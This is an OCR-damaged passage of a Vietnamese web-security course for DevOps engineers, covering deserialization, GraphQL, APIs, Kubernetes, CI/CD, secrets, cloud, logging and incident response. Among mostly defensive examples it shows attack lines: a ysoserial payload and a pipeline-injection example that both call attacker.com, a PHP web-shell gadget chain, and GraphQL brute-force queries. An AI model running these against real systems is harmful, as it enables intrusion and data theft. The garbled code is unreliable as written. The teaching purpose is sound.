e Detect: {{7*7}} - 49.
o Exploit: access Python internals qua MRO, os.popen() .

o Phong chong: khong concat user input vao template string, dung render(data=input).
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Chwong 26: Insecure Deserialization

| khai niem
Insecure Deserialization (Deserialization khong an toan) xdy ra khi tng dung deserialize dir liéu tr user input ma khong validate, cho phép hacker inject arbitrary objects
dan dén RCE.

Mitc do nguy hiém: Réit cao — RCE, privilege escalation.

I Serialization la gi?

Serialization: Object - Bytes (dé luu/truyén)
Deserialization: Bytes - Object (tai tao)

Ung dung serialize objects dé:

- Luu session
- Truyén qua network
- Cache data

I Ngon ngir-Specific
PHP

/ Serialize
$obj new User(1, 'admin');
$serialized = serialize($obj)
0:4:"User ("id"; i1 "name"; :"admin";}

rable ialization
$data = unserialize($_COOKIE[ 'user_data']); / Khong validate!

(ie thanh:

:"id";i:1;s:4:"name"; :"admin"; :"is_admin";b:1;}

admin = true

PHP Magic Methods:

"

__wakeup() sa eserialization
__destruct() i t bi garb collected
___toString() 0i khi object dung nhuv string

Gadget chain: chudi method calls exploit cé trong code
class Logger {
public $logFile;

public function __destruct() {

file_put_contents($this->logFile, 'log entry');
- set $logFile = "/var w/shell.php"

'

PHP code vao 'log entry

/ Vulnerable
ObjectInputStream ois = new ObjectInputStream(request.getInputStream());
Object obj = ois.readObject(); // rialize tir request body

"touch /tmp/pwned" | nc target 80

rial: tool tao Java de ialization gadget chains
java -jar ysoserial.jar CommonsCollections6 '"curl https://attacker.com/$(whoami)"
ialize payload RCE
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| Phong chéng

.
# Python: Khong dung pickle ti&r untrusted input
import pickle
import hmac
import hashlib

SECRET_KEY = b'super-secret'

def serialize(obj):
data = pickle.dumps(obj)
sig = hmac.new(SECRET_KEY, data, hashlib.sha256).hexdigest()
return sig + ':' + data.hex()

deserialize(signed_data):
sig, hex_data = signed_data.split(':', 1)
data = bytes.fromhex(hex_data)

# Verify signature trudc khi deserialize
expected_sig = hmac.new(SECRET_KEY, data, hashlib.sha256).hexdigest()
if not hmac.compare_digest(sig, expected_sig):

raise ValueError("Signature mismatch")

return pickle.loads(data) # Safe vi da verify signature

# Hoac: Dung JSON thay vi binary serialization

import json

serialized = json.dumps({'user_id': 1, 'role': 'user'})
obj = json.loads(serialized)

// Java: Whitelist allowed classes
import java.io.*;

import java.util.Arrays;

import java.util.List;

class SafeObjectInputStream extends ObjectInputStream {
private static final List<String> ALLOWED_CLASSES = Arrays.asList(
"com.example.app.SafeClass",
"java.lang.String",
"java.util.ArrayList"

)i

@override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException {
if (!'ALLOWED_CLASSES.contains(desc.getName())) {
throw new InvalidClassException("Unauthorized deserialization", desc.getName());

}

return super.resolveClass(desc);

| Tém tat

o Insecure deserialization: deserialize untrusted data — attacker inject malicious objects.
¢ PHP: magic methods (__wakeup, __destruct) trong gadget chains.
¢ Java: ysoserial tool tao gadget chain payloads.

o Phong chong: sign serialized data, whitelist allowed classes, prefer JSON.
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Chwong 27: GraphQL Security

| khai niem

GraphQL la query language cho APIs, cho phép client specify exactly data nao muén nhan. GraphQL c6 attack surface riéng biét so vdi REST APIs.

Mitc do nguy hiém: Trung binh-Cao — Phu thugc vao implementation.

| GraphqL vs REST

REST: Nhiéu endpoints, server quyét dinh response format
/api/users - {id, name, email, orders, ...}

GraphQL: 1 endpoint, client quyét dinh
POST /graphql
{

query: "{ user(id: 1) { name email } }"

}

- Chi tra name va email

I Introspection — Information Disclosure

Introspection cho phép query schema cta API:

.
# Lay toan bd schema
query IntrospectionQuery {
__schema {
types {
name
fields {
name
type { name }

Response:

"types": [
{"name": "User", "fields": [
{"name": "id"}, {"name": "email"},
{"name": "password"}, {"name": "creditCard"} # — Nhay cam
1},

{"name": "AdminDashboard", "fields": [...]} # — Hidden endpoint 10!

Tat introspection trong production:

.
// Apollo Server
const server = new ApolloServer({
typeDefs,
resolvers,
introspection: process.env.NODE_ENV !== 'production',

1

IDOR qua GraphQL

# Tan cong IDOR
query {
user(id: 1) { # Thay d6i ID
name
email
creditCard { number }
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}

Néu resolver khéng check authorization — IDOR.

I Batching Attack — Bypass Rate Limiting

Glri nhiéu queries trong 1 request

{"query": "mutation { login(username: 'admin', password: 'passi') }"},

{"query": "mutation { login(username: 'admin', password: 'pass2') }"}

{"query": "mutation { login(username: 'admin', password: 'pass3') }"}
(1000 queries)

#+ Néu rate limiting per-request (khdong per-query):
1 request véi 1000 queries bypass rate limit

DoS qua Deep Query

# Deeply nested query exponential resources
query {
users {
friends {
friends {
friends {
friends {

# ... nested 10+ levels
name

Phong chéng

// 1. Disable introspection
introspection: process.env.NODE_ENV === 'production' ? false

// 2. Query depth limiting

const depthLimitPlugin = createComplexityLimitRule(1000, {
scalarCost: 1,
objectCost: 2,
listFactor: 10

1

// 3. Query complexity analysis
const { createComplexityLimitRule } = require('graphql-validation-complexity');
const rules = [createComplexityLimitRule(1000)];

// 4. Authorization trong resolvers
const resolvers = {
Query: {
user: async (_, { id }, context) => {
// Check authorization
if (context.user.id !== id && !context.user.isAdmin) {
throw new ForbiddenError('Not authorized');
}
return db.getUser(id);

// 5. Disable batching hoac limit batch size
const server = new ApolloServer({
typeDefs,
resolvers,
plugins: [ApolloServerPluginLandingPageDisabled()],
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allowBatchedHttpRequests: false
1)

| Tom tét
o GraphQL: 1 endpoint flexible — larger attack surface.
o Introspection 1 schema — disable in production.
¢ IDOR trong resolvers néu khong check ownership.
¢ Batching bypass rate limiting.
e Deep queries — DoS.

o Phong chong: disable introspection, depth/complexity limits, auth trong resolvers.

I Cau haéi 6n tap chwong 22-27
1. Clickjacking c6 thé bypass SameSite cookie nhw thé nao?
2. Cache poisoning véi “unkeyed inputs” nghia la gi?
3. Trong HTTP request smuggling, CL.TE va TE.CL khéac nhau nhw thé nao?
4. SSTI khac SQL injection ¢ diém nao? Ca hai déu la injection attacks.

5. Tai sao GraphQL introspection nén disabled trong production?
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Chwong 28: API Security

| khai niem
API Security 1a bio méat cho REST/GraphQL/gRPC APIs. V§i microservices architecture, API la attack surface chinh.

OWASP API Security Top 10 (2023):

. API1: Broken Object Level Authorization -~ IDOR

. API2: Broken Authentication

. API3: Broken Object Property Level Authorization — Mass assignment
. AP14: Unrestricted Resource Consumption — Rate limiting

. API5: Broken Function Level Authorization — Missing auth

API6: Unrestricted Access to Sensitive Business Flows

. AP17: Server Side Request Forgery

. API8: Security Misconfiguration

© ® N U A W N P

. API9: Improper Inventory Management — Shadow APIs

-
o

. API10: Unsafe Consumption of APIs — Third-party API injection

| API1: BOLA — Broken Object Level Authorization
Giong IDOR nhung specific vdi APIs:

GET /api/vl/accounts/123/transactions HTTP/1.1
Authorization: Bearer token_of_account_456

- Néu khéng check "account 123 belongs to token owner" - BOLA

I API3: Mass Assignment

"

# Vulnerable: Update user tir entire request body
@app.route('/api/user/update', methods=['PUT'])
def update_user()
user = User.query.get(g.current_user.id)
user .update_from_dict(request.json) # Tat ca fields tir request
db.save(user)

# Attack payload:
{
"name": "Alice",
"email": "alice@example.com"
"role": "admin", —~ Escalate to admin!
verified": true, ~ Self-verify!
"account_balance": 99999 « Inject arbitrary fields!

|

Phong chéng:

.

# Whitelist allowed fields
ALLOWED_UPDATE_FIELDS = {'name', 'email', 'phone', 'bio'}

def update_user()
update_data = {

k: v for k, v in request.json.items()
if k in ALLOWED_UPDATE_FIELDS

3

user .update(**update_data)
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| APia: Rate Limiting

Khéng c6 rate limiting - brute force, enumeration, scraping

Implement & multiple levels:

1. API Gateway (Kong, AWS API Gateway)

2. Application level (Flask-Limiter, Express rate-limit)
3. Nginx

Per-endpoint limits:
/api/login: 5/minute
/api/search: 60/minute
/api/export: 1/hour

from flask_limiter import Limiter
from flask_limiter.util import get_remote_address

limiter = Limiter(
app,
key_func=get_remote_address,
default_limits=["200 per day", "50 per hour"]

@app.route('/api/login', methods=['POST'])
@limiter.limit("5 per minute")
def login():

@app.route('/api/export', methods=['GET'])
@limiter.limit("1 per hour")
def export_data()

API Versioning Security

Vdn dé: vl bi deprecated nhung van accessible
/api/v1l/users - Khéng cé auth

/api/v2/users - C6 auth

/api/vl/users - Bypass auth!

Shadow APIs: endpoints khéng documented, khéng monitored

# Discover API versions va hidden endpoints
ffuf -w /usr/share/wordlists/api-list.txt \
-u https://example.com/api/FUzz \

-mc 200,201,400, 401, 403
# Common API patterns
/api/vl/ /api/v2/ /api/v3/
/N1 /v2/

/api/internal/
/api/admin/

ntication cho APIs

API Keys: Khong expire - néu 10 - permanent compromise
X-API-Key: sk-abc123...

JWT Bearer tokens: Expire, revocable
Authorization: Bearer eyJhbG...

OAuth 2.0: Best for third-party access

mTLS: Certificate-based, cho service-to-service

I Go6c nhin DevOps

API Gateway:
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# Kong Ga ay config

services:

- name: user-api

url: http://user-service:8080
plugins:
- name: rate-limiting
config:
minute: 60
hour: 16000
name: key-auth
name: cors
config:
origins:

- https://app.example.com
name: request-size-limiting
config:

allowed_payload_size: 10 # 10MB max

t

API Inventory — Biét tat ca APIs:

ca API endpoints
pp.route\ |@r r. outer.post" src/

# Hoac dung code analysis tools

Tom tat

e API Top 10: BOLA (IDOR), broken auth, mass assignment, no rate limiting quan trong nhat.
e Mass assignment: whitelist allowed fields, khong nhan arbitrary input.
¢ Rate limiting: implement & gateway va application level.

e API versioning: deprecated versions phai truly disabled, khong chi hidden.

Dung API Gateway dé centralize auth, rate limiting, logging.
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Chwong 29: Kubernetes Security lién quan Web

| khai niem

Kubernetes orchestrates containers nhung ciing c6 attack surface riéng. Loi cau hinh K8s c6 thé expose internal services, allow privilege escalation, va amplify web security

vulnerabilities.

I Ingress Misconfiguration

Expose Internal Services

# SAI: Expose admin service ra internet
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: admin-ingress
spec:
rules:
- host: admin.example.com # — Public DNS!
http:
paths:
- path: /
backend:
service:
name: admin-service
port:
number: 8080

# DUNG: Admin chi accessible tir VPN IP
metadata:
annotations:
nginx.ingress.kubernetes.io/whitelist-source-range: "10.0.0.0/8,192.168.0.0/16"

SSRF dén Kubernetes API

NEu app bi SSRF:
http://kubernetes.default.svc.cluster. local/api/v1l/pods
http://10.96.0.1/api/vl/secrets ~ Kubernetes API server

Néu Pod khong mount ServiceAccount token
- Khéng cé authentication - List semua pods, secrets!

# Disable ServiceAccount token auto-mount
spec:
automountServiceAccountToken: false # NEu khong can K8s API access

# Hoac dung minimal permissions:
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
rules:
- apiGroups: [""]
resources: ["configmaps"]
verbs: ["get"] # Chi doc configmap cu thé

Secrets trong Kubernetes

# SAIL: Hardcode secret trong manifest
env:
- name: DB_PASSWORD
value: "SuperSecret123"

# DUNG: Dung K8s Secret

apiVersion: vi
kind: Secret
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metadata:
name: db-credentials
type: Opaque
stringData:
password: "SuperSecret123"

# Reference trong Pod:
env.
- name: DB_PASSWORD
valueFrom:
secretKeyRef:
name: db-credentials
key: password

Van deé véi K8s Secrets: - Chi base64 encoded, khong encrypted by default - Accessible boi bat ky ai c6 quyén read trong namespace
Giai phap:

#+ 1. Encrypt etcd at rest
/etc/kubernetes/encryption-config.yaml

+ 2. Dung External Secrets Operator
Sync secrets tlr AWS Secrets Manager/Vault vao K8s

3. Sealed Secrets (Bitnami)
kubeseal --format yaml < secret.yaml > sealed-secret.yaml
# Sealed secrets safe dé commit vao git

Pod Security

apiVersion: vi
kind: Pod
spec:
securityContext:
runAsNonRoot: true
runAsUser: 1000
fsGroup: 2000
seccompProfile:
type: RuntimeDefault
containers:
- name: app
image: myapp:latest
securityContext:
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
capabilities:
drop:
- ALL
add:
- NET_BIND_SERVICE # Chi néu can port <1024
resources:
limits:
cpu: "500m"
memory: "256Mi"
requests:
cpu: "1060m"
memory: "128Mi'"

I Network Policy

# Default deny all ingress/egress
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: default-deny
spec:
podSelector: {}
policyTypes:
- Ingress
- Egress
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# Allow only necessary traffic
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:

name: webapp-policy
spec:
podSelector:
matchLabels:
app: webapp
policyTypes:
- Ingress
- Egress
ingress:
- from:
- podSelector:
matchLabels:
app: nginx-ingress
ports:
- port: 8080
egress:
- to:
- podSelector:
matchLabels:
app: database
ports:
- port: 5432
- to:
- namespaceSelector: {}
ports:
- port: 53 # DNS

I Container Image Security

.

# Scan images cho vulnerabilities
trivy image myapp:latest --severity HIGH,CRITICAL

# Sign images v@i cosign
cosign sign --key cosign.key myapp:latest

# Verify truéc khi deploy
cosign verify --key cosign.pub myapp:latest

# Admission controller: chi allow signed images
# Kyverno or OPA Gatekeeper

# Secure Dockerfile
FROM python:3.11-slim

# Non-root user
RUN groupadd -r app && useradd --no-create-home -r -g app app

WORKDIR /app

# Copy only necessary files

COPY requirements.txt

RUN pip install --no-cache-dir -r requirements.txt

COPY src/

# Drop to non-root
USER app

EXPOSE 8080
CMD ["python", "app.py"]

| Tom tat

¢ Ingress misconfiguration — expose internal services — SSRF/direct access.
o Kubernetes API accessible tir pods néu c6 ServiceAccount token.
e K8s Secrets chi base64 encoded — dung External Secrets vdi real encryption.

¢ Pod security: non-root, read-only filesystem, drop capabilities.

file:///home/tung/Desktop/documents/tmp/postswigger/web-security-devops.html 132/151




6/6/26, 1:13 PM Web Security cho DevOps Engineer

¢ Network Policy: default deny, allow minimum necessary.

e Scan container images trong CI/CD.
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Chwong 30: CI/CD Security

| khai niem

CI/CD pipelines 1a mot trong nhitng attack surfaces quan trong nhat trong modern DevOps. Compromise pipeline = compromise toan by software supply chain.

I Pipeline Injection

# GitHub Actions — Vulnerable
name: CI

on:
pull_request:
types: [opened, synchronize]

jobs:
build:
runs-on: ubuntu-latest
steps:
- name: Greet contributor
run: echo "Hello ${{ github.event.pull_request.head.repo.full_name }}"
# ~ Néu fork repo name chtta shell injection payload!

# Attack: Fork repo véi name: "user/repo$(curl attacker.com)"
# - Bash execute curl command trong pipeline context

Phong chéng:
# PUNG: Set env variable trudéc, reference qua env
- name: Greet contributor
env:
REPO_NAME: ${{ github.event.pull_request.head.repo.full_name }}
run: echo "Hello $REPO_NAME"
# $REPO_NAME passed as string, khong executed as shell

I Dependency Confusion

Public package: lodash (tén)
Internal package: company-utils (tén) - chi c6 trén internal registry

Attack:

1. Hacker publish package tén "company-utils" 1én npmjs.com v&i version cao hon
2. npm/pip check public registry truéc (hoac cung luc)

3. Download malicious "company-utils" v99.0.0 thay vi internal v1.0.0

4. Malicious package chay postinstall script - exfiltrate secrets

Phong chéong:

Dung scoped packages: @company/utils (npm)

. Configure package manager chi dung internal registry

. Verify package checksums (package-lock.json, pip hash)
Block outbound dén public registry ti@r build environment

Secrets trong CI/CD

SAI: Hardcode trong pipeline
name: Deploy
run: |
docker login -u admin -p SuperSecret123

DUNG: Dung secrets
name: Deploy
env:
DOCKER_PASSWORD: ${{ secrets.DOCKER_PASSWORD }}
run: |
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echo "$DOCKER_PASSWORD" | docker login -u admin --password-stdin

+ Log masking: GitHub tu mask secrets trong logs
Nhung base64 encode sé& bypass masking
- name: Debug (NGUY HIEM!)
run: echo "${{ secrets.MY_SECRET }}" | base64

Supply Chain Attacks

SolarwWinds style attack:

1. Compromise upstream dependency

2. Inject malicious code vao legitimate package
3. Downstream consumers install without knowing

Phong chéng:

- Pin exact versions (khdng dung @latest hodac ~1.0)
Verify checksums/hashes
SBOM (Software Bill of Materials)
Dependency scanning: Snyk, Dependabot, Trivy
Private mirror cho dependencies

SAST va DAST trong Pipeline

# GitHub Actions vé&i SAST
name: Security

on: [push, pull_request]

jobs:
sast:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3

- name: SAST vGéi Semgrep
run: |

pip install semgrep

semgrep --config=p/owasp-top-ten \
--config=p/sql-injection \
--config=p/command-injection \
src/ \
--output report.json \
--json

- name: Dependency Scan voi Safety
run: |
pip install safety
safety check -r requirements.txt

dast:

needs: [build, deploy-staging]

runs-on: ubuntu-latest

steps:

- name: DAST v6i ZAP
run: |
docker run owasp/zap2docker-stable \

zap-baseline.py \
-t https://staging.example.com \
-r zap-report.html

| Tom tét

Pipeline injection: user-controlled input chay trong pipeline context.
Dependency confusion: public package hijack tén internal package.
Secrets: dung CI/CD secret store, khong hardcode, can than véi encoding.
Supply chain: pin versions, verify hashes, scan dependencies.

SAST chay trong PR check; DAST chay sau deploy to staging.
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Chwong 31: Secrets Management

| khai niem

Secrets la credentials, API keys, private keys, database passwords — bat ci thit gi néu bi 16 sé cho phép unauthorized access.

Van dé phaé bién: - Hardcode trong source code - Commit vao Git - In ra logs - Expose qua environment variables - Lutu trong container images

I Secrets Scanning

# truffleHog: scan Git history cho secrets
trufflehog git file://./myrepo --only-verified

# gitleaks: scan current repo
gitleaks detect --source . --verbose

# Tim patterns phé bién

grep -rn "password\s*=\s*['\"][A'"\"]\+" src/

grep -rn "api_key\s*=\s*['\"][A'\"]\+" src/

grep -rn "BEGIN.*PRIVATE KEY"

grep -rn "AKIA[0-9A-Z]{16}" . # AWS Access Key pattern

# Pre-commit hook
cat .pre-commit-config.yaml
repos:
- repo: https://github.com/gitleaks/gitleaks
rev: v8.18.0
hooks:
- id: gitleaks

HashiCorp Vault

# Vault: secrets engine cho enterprise

# Start Vault
vault server -dev

# Store secret

vault kv put secret/myapp \
db_password="SuperSecret123" \
api_key="sk-abc123"

+ Read secret

vault kv get secret/myapp

# Dynamic secrets: Vault tao credentials tam thoi

vault secrets enable database

vault write database/config/my-db \
plugin_name=mysql-database-plugin \
connection_url="{{username}}: {{password}}@tcp(localhost:3306)/" \
allowed_roles="my-role"

# Vault tao DB credentials tam thoi (expire sau 1h)
vault read database/creds/my-role
# - username: v-root-abcl123 | password: random_strong_password | lease:

App doc tir Vault:

.

import hvac

client = hvac.Client(url='https://vault.internal:8200")
client.auth.kubernetes.login(role="my-app', jwt=get_k8s_service_account_jwt())

# Poc secret

secret = client.secrets.kv.v2.read_secret_version(path="myapp')
db_password = secret['data']['data']['db_password']
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I AWS Secrets Manager

import boto3
import json

def get_secret(secret_name: str, region: str = 'us-east-1') -> dict:
client = boto3.client('secretsmanager', region_name=region)

response = client.get_secret_value(SecretId=secret_name)

if 'SecretString' in response:
return json.loads(response['SecretString'])
else:
return json.loads(base64.b64decode(response['SecretBinary']))

St dung
secrets = get_secret('prod/myapp/database')
db_password = secrets['password']

Secret Rotation:

ate véi Lambda

rets Manager handle rotation

I Kubernetes External Secrets

e

# Externa rets Operator: /nc tr AWS SM
apiVersion: external-secrets.io/vilbetal
kind: ExternalSecret
metadata:
name: db-credentials
spec:
refreshInterval: 1h
secretStoreRef:
name: aws-secretsmanager
kind: ClusterSecretStore

target:

name: db-credent 8 cret dugc tao
data:
- secretKey: password
remoteRef:
key: prod/myapp/database
property: password

Best Practices

Never commit secrets to Git (dung pre-commit hooks)

Khong log secrets (log sanitization)

Use short-lived credentials (dynamic secrets, session tokens)
Rotate secrets regularly

Principle of least privilege: méi app chi cé secrets can thiét
Encrypt secrets at rest va in transit

. Audit access: ai, khi nao, secret nao

il
28
3.
4.
i
6.
7

8.

Revoke immediately néu suspect compromise

Tém tat

¢ Secrets trong source code hodc logs = immediate breach risk.

o Scan code va Git history thuong xuyén (gitleaks, truffleHog).

e Vault cho enterprise secrets management v&i dynamic credentials.
e AWS Secrets Manager/GCP Secret Manager cho cloud-native.

o Kubernetes: External Secrets Operator thay vi K8s Secrets co ban.
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Chwong 32: Cloud Security lién quan trng dung Web

I IMDS va Credential Theft

AWS EC2 Metadata: http://169.254.169.254
GCP Metadata: http://metadata.google.internal
Azure Metadata: http://169.254.169.254

Xem SSRF (Chuwong 15) dé chi tiét.

IAM Misconfigurations

// Overly permissive IAM role:

{
"Effect": "Allow",
"Action": "*", // — Tat ca actions
"Resource": "*" // ~ Tat ca resources!

// Principle of Least Privilege:
{
"Effect": "Allow",
"Action": [
"s3:GetObject",
"s3:PutObject"
1,

"Resource": "arn:aws:s3:::my-specific-bucket/*"

S3 Bucket Exposure

# Phat hién S3 buckets exposed
# Public bucket c6 thé list/download files

# Check bucket permissions
aws s3api get-bucket-acl --bucket my-bucket
aws s3api get-bucket-policy --bucket my-bucket

# List exposed buckets (reconnaissance)

# Naming convention: company-name-env-purpose
https://company-backups.s3.amazonaws.com/
https://company-prod-assets.s3.amazonaws.com/

# Block public access (tat cad settings)
aws s3api put-public-access-block \
--bucket my-bucket \
--public-access-block-configuration \
"BlockPublicAcls=true, IgnorePublicAcls=true, BlockPublicPolicy=true,RestrictPublicBuckets=true"

Cloud Security Checklist

IMDSV2 required cho tat cad EC2 instances

IAM roles dung principle of least privilege
S3 buckets: public access blocked (trir static website)
CloudTrail enabled cho tat ca regions
GuardbDuty enabled

Security Hub enabled

VPC: no 0.0.0.0/0 ingress tri ports can thiét
RDS: khong public accessible

Secrets trong Secrets Manager, khdong hardcode
MFA cho root account va IAM users

Access Keys rotation

Cloudwatch Alarms cho suspicious activities
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Chwong 33: Logging va Detection

I What to Log

import logging
import json
from datetime import datetime

class Securitylogger:
def __init_ (self):
self.logger = logging.getLogger('security')

def log_auth_event(self, event_type: str, user_id: str,
ip: str, success: bool, extra: dict = None)

event = {
'timestamp': datetime.utcnow().isoformat(),
'event_type': event_type, # 'login', 'logout', 'password_change'
'user_id': user_id,
'ip_address': ip,
'success': success,
'user_agent': extra.get('user_agent') if extra else None,

}

self.logger.info(json.dumps(event))

log_access(self, user_id: str, resource: str
action: str, allowed: bool)
event = {
'timestamp': datetime.utcnow().isoformat(),
'event_type': 'access_control',
'user_id': user_id,
'resource': resource,
'action': action,
'allowed': allowed,

}

self.logger.info(json.dumps(event))

log_suspicious(self, event_type: str, details: dict):
"""lLog suspicious activity"""
event = {
"timestamp': datetime.utcnow().isoformat(),
'event_type': f'suspicious_{event_type}',
'severity': 'high'
**details
}

self.logger.warning(json.dumps(event))

I Security Events phai Log

Authentication:

- Login success/failure (véi username, IP, user-agent)
- Logout

- Password change/reset

- MFA events

Authorization:

- Access denied events

- Privilege escalation attempts
- Admin actions

Application:

- Input validation failures (potential injection attempts)
- Rate limit exceeded

- Large data exports

- Unusual patterns (1 user request 1000 profiles)

Infrastructure:

- Deployment events

- Configuration changes

- Certificate expiry warnings
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I Khéng Log

# KHONG bao gi¢ log:

logger.info(f"User {username} logged in with password {password}") # — LOG PASSWORD
logger .debug(f"JWT token: {token}") # — LOG TOKEN!

logger.info(f"Credit card: {card_number}") # ~ LOG PII

# Mask sensitive data

logger.info(f"User {username} logged in") # OK

logger.info(f"Payment processed for card ending in {card_number[-4:]}") # OK
logger.info(f"Token: {token[:8]}...") # OK néu debug

ELK Stack cho Security Monitoring

# Elasticsearch + Logstash + Kibana

# Logstash pipeline
input {
beats {
port => 5044

filter {
# Parse JSON security events
json {
source => "message"

# Tag suspicious events
if [event_type] =~ /suspicious_/ {
mutate {
add_tag => ["alert"]

output {
elasticsearch {
hosts => ["elasticsearch:9200"]
index => "security-%{+YYYY.MM.dd}"

# Send alerts
if "alert" in [tags] {
http {
url => "https://hooks.slack.com/..."
method => "POST"
mapping => {
"text" => "Security Alert: %{event_type} - %{message}"

I Detection Rules

# Alertmanager rules cho security events
groups:
- name: security
rules:
- alert: BruteForceDetected
expr: |
sum(rate(auth_failures_total[5m])) by (ip_address) > 10
for: 2m
annotations:
summary: "Brute force: {{ $labels.ip_address }}"

alert: UnusualDataAccess
expr: |
sum(rate(api_requests_total{endpoint="/api/users"}[1m])) > 100
for: 1m
annotations:

file:///home/tung/Desktop/documents/tmp/postswigger/web-security-devops.html




6/6/26, 1:13 PM Web Security cho DevOps Engineer

summary: "Mass user data access detected"

- alert: SuspiciousAdminAction
expr: |

rate(admin_actions_total{action="delete"}[5m]) > 5
annotations:
summary: "High rate of admin delete actions"

| Tom tat
o Log du dé reconstruct attack: timestamp, user, IP, action, resource, success/fail.
o Khong log: passwords, tokens, credit cards, PII.
¢ Centralized logging v6i ELK/Loki.
o Alerting cho brute force, mass data access, suspicious admin actions.

o SIEM correlate events tir nhiéu nguon.
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Chwong 34: Incident Response co’ ban

I IR Lifecycle

Preparation Training, playbooks, tools s&n sang
Detection Phat hién incident
. Analysis Hiéu scope va impact
. Containment Ngan lan rong
Eradication Xo6a attacker
Recovery Restore services
Post-Mortem Hoc tir incident

Detection

Cac signal can chua y:
Alert tlr WAF/IDS: SQL injection, XSS attempts
Unusual auth patterns: login t&r IP méi, impossible travel
Data exfiltration: large outbound traffic
Unusual process: web shell execution (www-data — bash)
Config changes khong authorized
Certificate changes
New user accounts created

Containment

+ Containment tic thi:
# 1. Block attacker IP
iptables -I INPUT -s ATTACKER_IP -j DROP

# 2. Revoke compromised credentials

aws iam delete-access-key --access-key-id COMPROMISED_KEY
# 3. Isolate compromised K8s pod

kubectl cordon affected-node

kubectl delete pod compromised-pod --grace-period=0

# 4. Revoke sessions
redis-cli del "session:*" # Flush tdt cad sessions

# 5. Scale down (néu can)
kubectl scale deployment webapp --replicas=0

# 6. Network isolation
kubectl apply -f network-policy-deny-all.yaml

Forensics co’ ban

# Thu thap evidence trudc khi cleanup

# 1. Luu logs

kubectl logs compromised-pod > pod-logs.txt
cp /var/log/nginx/access. log evidence/

cp /var/log/auth.log evidence/

# 2. Process snapshot

ps auxf > processes.txt

netstat -tulpn > network-connections.txt
lsof > open-files.txt

# 3. Disk image (néu can deep forensics)
t+ Khong modify original evidence

# 4. Memory dump (advanced)
# avml hoac lime kernel module
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I Communication

Internal:

- Security team: ngay lap tuc

- Management: trong vong 1 gio®

- Engineering leads: ngay khi can containment

External:

- Customers: néu data bi breach (theo regulation)
- Regulators: GDPR yéu cau 72 gio

- Law enforcement: néu can

Post-Mortem

# Secu y Incident Post-Mortem

## Timeline
14:30 Alert triggered: unusual admin access
14:35 Incident response activated
14:45 Compromised account identified
15:00 Credentials revoked, sessions cleared
15:30 Root cause identified: phishing attack
16:00 All systems verified clean
18:00 Services fully restored

## Root Cause
Phishing email - credential theft - unauthorized admin access

## What Went Well
- Alert triggered within 5 minutes
- Containment within 30 minutes

## What Went Wrong
- No MFA enabled - single factor compromised
- Logs tidak sufficient to determine scope

## Action Items

1. Enable MFA for all admin accounts [PO, Owner: Security]
Improve logging detail [P1, Owner: DevOps]
Phishing training for all employees [P1, Owner: HR]
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Chwong 35: Checklist bAo mat cho DevOps

I Checklist Deployment

Authentication & Authorization:

O Passwords hashed v6i bcrypt/argon2 (minimum 12 rounds)

0 MFA enabled cho admin accounts

O Session tokens: cryptographically random, >= 128 bits

0O Cookie attributes: HttpOnly, Secure, SameSite=Strict/Lax
0O JWT: specify algorithm, verify signature, check exp

O Access control: deny by default, check server-side

Input Validation:

0O All user inputs validated server-side
O Parameterized queries (SQL)

O XML parser: disable external entities

0O File upload: validate content, not extension/Content-Type

0O Filename sanitized before filesystem use

Output Security:

0O HTML output: context-aware encoding

[0 JSON responses: correct Content-Type

0 Security headers: CSP, X-Frame-Options, HSTS, X-Content-Type-Options

API Security:

0O Rate limiting: per-endpoint, per-user

O Authentication required cho sensitive endpoints
0 Mass assignment protection: whitelist fields

O CORS: whitelist specific origins only

Infrastructure:

0O HTTPS enforced (TLS 1.2+)

Security headers via server/ingress config
WAF configured va tested

Secrets: khong hardcode, dung secrets manager

O
O
O
O Least privilege: service accounts, IAM roles, DB users

Checklist Container/K8s

Container:
Non-root user (runAsNonRoot: true)
Read-only filesystem (readOnlyRootFilesystem: true)
Drop capabilities (capabilities.drop: [ALL])

No secrets in image layers
Image scanned (Trivy)

O

O

O

O Resource limits defined
O

O

0O Signed images (cosign)

Kubernetes:

00 RBAC: least privilege

O Network Policy: default deny

O Pod Security Standards: Restricted profile

0O Secrets: External Secrets Operator hoac Vault

O ServiceAccount: automountServiceAccountToken: false
0O Ingress: whitelist source IPs cho admin endpoints
O No NodePort exposing internal services

Namespace:

0 Separate namespaces: prod/staging/dev

O ResourceQuota va LimitRange defined

O Admission controllers: OPA/Kyverno policies

Checklist CIICD

Pipeline:

0O Secrets trong CI/CD secret store (khong trong code)
O Pinned dependency versions (khong @latest)

00 SAST trong PR checks
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(]
O
O
O

Dependency scanning (Snyk/Dependabot)
Container image scanning

DAST sau deploy to staging

No shell injection trong pipeline steps

Code Review:

Security review checklist cho PRs

SQL queries: parameterized?

User input: validated va sanitized?
Secrets: accidentally committed?
Dependencies: any new ones v6i known CVEsS?

Checklist Monitoring

Logging:

O

o
[m]
(]
O

Auth events logged (success/failure)

Access control denials logged

Sensitive data NOT logged (passwords, tokens, PII)
Centralized logging (ELK/Loki)

Log retention policy defined

Alerting:

(]
]
(]
o
(]
(]

Brute force detection

Anomalous data access

Failed auth spike

New admin user created

Critical resource deleted

Cert expiry warning (30/14/7 days)

Monitoring:

O

(]
o
(]
o

WAF alerts reviewed

CVE alerts cho dependencies

Cloud security alerts (GuardDuty/Security Hub)
Penetration testing: annual minimum
Vulnerability scanning: monthly

Tém tat

Security khong phai one-time task — la continuous process.

Shift left: tich hgp security tir development, khéng doi production.

Automation: SAST/DAST trong CI/CD, automated vulnerability scanning.

Defense in depth: khong phu thudc vao 1 16p bao mat.
Incident response: c6 plan, test plan, improve tir incidents.

Monitoring: khong c6 logging = khdng c6 visibility khi bi tan cong.

Web Security cho DevOps Engineer
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L6 trinh hoc 30 ngay cho DevOps Engineer

I Tong quan

L0 trinh nay duwgc thiét ké cho DevOps/Cloud/Platform Engineer mudn bét dau tir con s6 khong vé web security va dat dwgc nén tang du virng dé: - Hiéu va phong chong cac

16 héng pho bién trong hé théng minh quan 1y - Bat dau Bug Bounty & mitc co ban - Tich hgp security vao workflow DevOps hang ngay

Commit time: 1-2 gid/ngay

I Tuan 1: Nén tang (Ngay 1-7)

